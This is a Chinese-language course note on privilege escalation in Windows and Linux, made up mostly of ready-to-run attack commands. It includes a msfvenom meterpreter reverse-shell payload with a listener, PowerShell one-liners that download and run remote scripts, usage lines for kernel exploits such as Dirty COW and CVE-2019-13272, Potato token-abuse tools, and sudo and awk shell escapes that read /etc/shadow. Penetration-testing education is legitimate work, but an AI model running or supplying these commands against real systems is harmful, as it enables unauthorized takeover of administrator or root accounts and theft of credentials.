一、权限提升简介
1.权限提升概述
权限提升简称提权,攻击者通过安全漏洞把低权限用户提权至高权限的管理员用户,从而获得对整个系统得控制权。
提权分类:
- windows系统下的提权
- linux系统下的提权
- 域内提权
- 数据库系统下的提权
- 利用第三方软件提权
2.Windows提权
windows提权一般是将权限提升到administrator或者 system权限
windows中的权限分为如下:
- 普通用户权限(Users)
- 管理员权限(Administrators)
- 服务系统权限 (SYSTEM)
- 访客权限 (Guest)
3.Linux提权
Linux提权一般是将用户权限提升到root权限
4.权限提升条件
- 拥有Webshell/Beacon/Sessions,拥有普通用户权限
- 本地或远程服务器上存在漏洞,拥有漏洞利用工具代码
- 拥有某些软件的账号密码
二、Windows系统提权
1.Windows提权思路
- 前期信息收集
- 利用收集的信息进提权
2.Windows提权信息收集
1)前期工作
- 生成一个Payload
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.3.173 lport=6666 -f exe -o xx.exe
- 创建监听
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.3.173 -P 6666
- 运行木马文件,MSF获得meterpreter会话
2)手动信息收集
WMIC:Windows管理工具命令行,提供了从命令行接口和批命令脚本执行系统管理的支持,对于信息收集和渗透测试是非常实用的。
- 补丁信息、补丁包过滤
wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxx" /C:"KBxxxxxx"
- 获取杀软名
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
- 获取杀软名和安装路径
WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
3)主动信息收集
1.winPEAS
- winPEAS.bat
winPEAS.bat > wininfo.txt
- winPEAS.exe
winPEASx64.exe quiet log=wininfo.txt
- winPEAS.ps1
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://gitee.com/yijingsec/PEASS-ng/raw/master/winPEAS/winPEASps1/winPEAS.ps1')" > info.txt
2.PowerUP
Powershell提权框架 – Powerup,此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。
- cmd环境运行
powershell -ep bypass -c "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
- 内存加载运行
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://gitee.com/yijingsec/PowerSploit/raw/master/Privesc/PowerUp.ps1'); Invoke-AllChecks"
3.Windows内核漏洞提权
1)发现已知内核漏洞
1.检查Windows系统版本是否有任何已知的漏洞
- 列出所有补丁
wmic qfe get Caption,Description,HotFixID,InstalledOn
powershell -c "Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid}"
- 列出安全更新补丁
powershell -c "Get-Hotfix -description 'Security update'"
2.已对外公开EXP
- Windows平台提权漏洞集合
https://gitee.com/yijingsec/windows-kernel-exploits
https://gitee.com/yijingsec/Kernelhub
http://kernelhub.ascotbe.com/Home/Docs/#/
2)CVE-2018-8120
- 用法:
CVE-2018-8120 exploit by @Topsec_Alpha_lab(https://github.com/alpha1ab)
Usage: exp.exe command
Example: exp.exe "net user admin admin /add"
- 示例:
- 上线system
3)CVE-2019-0803
使用:
检测是否存在漏洞
cve-2019-0803.exe cmd "whoami"

反弹SYSTEM权限会话到MSF
cve-2019-0803.exe cmd "start xx.exe"

cve-2019-0803.exe cmd xx.exe

4)CVE-2020-0787
itsArbitraryFileMoueExploit.exe

4.提权工具脚本
- CollectAV_KB
- BeRoot
- Watson
- Sherlock
powershell.exe IEX (New-Object Net.WebClient).DownloadString('https://gitee.com/yijingsec/Sherlock/raw/master/Sherlock.ps1');Find-AllVulns
- JuicyPotato
Juicy Potato的限制条件有:
- 需要具有SeImpersonate或者SeAssignPrimaryToken权限
- 开启DCOM
- 本地支持RPC或者远程服务器支持RPC并能成功登录
- 能够找到可用的COM对象
一般从Web拿到的 webshell都是 IIS服务器权限,是具有这个模仿权限的。
一般大多数的服务型账户IIS、MSSQL等,有这个权限,大多数用户级的账户没有这个权限,都可以执行 whoami /priv 查看是否具有权限
- Webshell版执行命令:
利用 JuicyPotato以 system权限执行命令
JuicyPotato-ws.exe -p "whoami"
JuicyPotato-ws.exe -p "xx.exe"

- SweetPotato执行命令:
SweetPotato.exe -a whoami
SweetPotato.exe -a "c:/test/xx.exe"

- getSystem
三、Linux系统提权
1.Linux提权思路
- 前期信息收集
- Linux系统内核漏洞
- Linux服务提权漏洞
- SUDO权限滥用
- SUID提权
- GTFOBins
2.Linux提权信息收集
- linPEAS.sh
- beRoot
- 操作系统信息
3.Linux内核提权漏洞
- Linux-kernel-exploits:Linux平台提权漏洞集合
- searchsploit搜索exp
searchsploit是一个用于 Exploit-DB 的命令行搜索工具,kali自带
searchsploit privilege | grep -i linux | grep -i kernel

具体用法详见课件
1)脏牛提权漏洞
漏洞名称:脏牛(Dirty COW)
漏洞危害:低权限用户利用该漏洞技术可以在全版本 Linux 系统上实现本地提权
影响范围:Linux 内核2.6.22 < 3.9 (x86/x64)
- gcc编译
gcc -pthread dirty.c -o dirty -lcrypt
- 替换root用户
./dirty password

2)CVE-2019-13272
linux本地提权
漏洞范围:
4.10 < linux内核版本 < 5.1.17
exploitdb:
https://www.exploit-db.com/exploits/47163
利用exp:
https://www.exploit-db.com/download/47163
wget https://www.exploit-db.com/download/47163 -O exp.c
gcc exp.c –o exp
./exp
3)CVE-2019-7304
Linux包管理器snap本地提权漏洞
- 影响Ubuntu版本范围
- Ubuntu 18.10
- Ubuntu 18.04 LTS
- Ubuntu 16.04 LTS
- Ubuntu 14.04 LTS
- snap版本范围:2.28 < snapd < 2.37
- 漏洞利用
./dirty_sockv2.py

会写入dirty_sock用户
不是很好用
4)CVE-2021-3493
- 漏洞影响范围
- Ubuntu 20.10
- Ubuntu 20.04 LTS
- Ubuntu 18.04 LTS
- Ubuntu 16.04 LTS
- Ubuntu 14.04 ESM
- 漏洞利用
gcc exploit.c -o exp
./exp

4.Linux密码Hash
1)/etc/passwd
所有用户都可以查看,存储着所有用户的信息,每一行代表一个用户,每一行通过冒号:分为七个部 分
1. 用户名
2. 密码,x表示密码保存在/etc/shadow
3. UID,0代表root
4. GID,表示所在组
5. 描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other
6. 用户主目录
7. 默认shell类型
2)/etc/shadow
只有root用户能够查看,保存加密后的密码和用户相关密码信息,每个用户一行,每一行通过冒号:分为九个部分:
1. 用户名
2. 加密后的密码
3. 上次修改密码的时间(从1970.1.1开始的总天数)
4. 两次修改密码间隔的最少天数,如果为0,则没有限制
5. 两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制提
6. 前多少天警告用户密码将过期
7. 在密码过期之后多少天禁用此用户
8. 用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用
9. 保留
3)解密hash
有时候在passwd文件中会有密码


5.滥用的SUDO权限
- sudo简介
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。
sudo配置文件: /etc/sudoers
配置文件权限: 0440 - 显示出自己(执行sudo的使用者)的权限
sudo -l
- 执行环境变量中的shell所指定的shell,或是 /etc/passwd 里所指定的shell
sudo -s
- sudo提权
这些应用程序可以使用sudo
sudo /bin/ash
sudo /usr/bin/awk -F: ‘{print $1 $2}' /etc/shadow
sudo /usr/bin/awk 'BEGIN {system("/bin/bash")}'
sudo curl file:///etc/shadow
sudo find . -exec /bin/sh \; -quit


6.SUID权限提权
- SUID权限说明
- 启动为进程之后,其进程的属主为原程序文件的属主
- 只能作用在二进制程序上,不能作用在脚本上,且设置在目录上无意义
- 执行suid权限的程序时,此用户将继承此程序的所有者权限
- f ind命令查找拥有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
- 利用SUID权限
https://gtfobins.github.io/
可以查看哪些程序可以提权
7.Linux提权工具
traitor

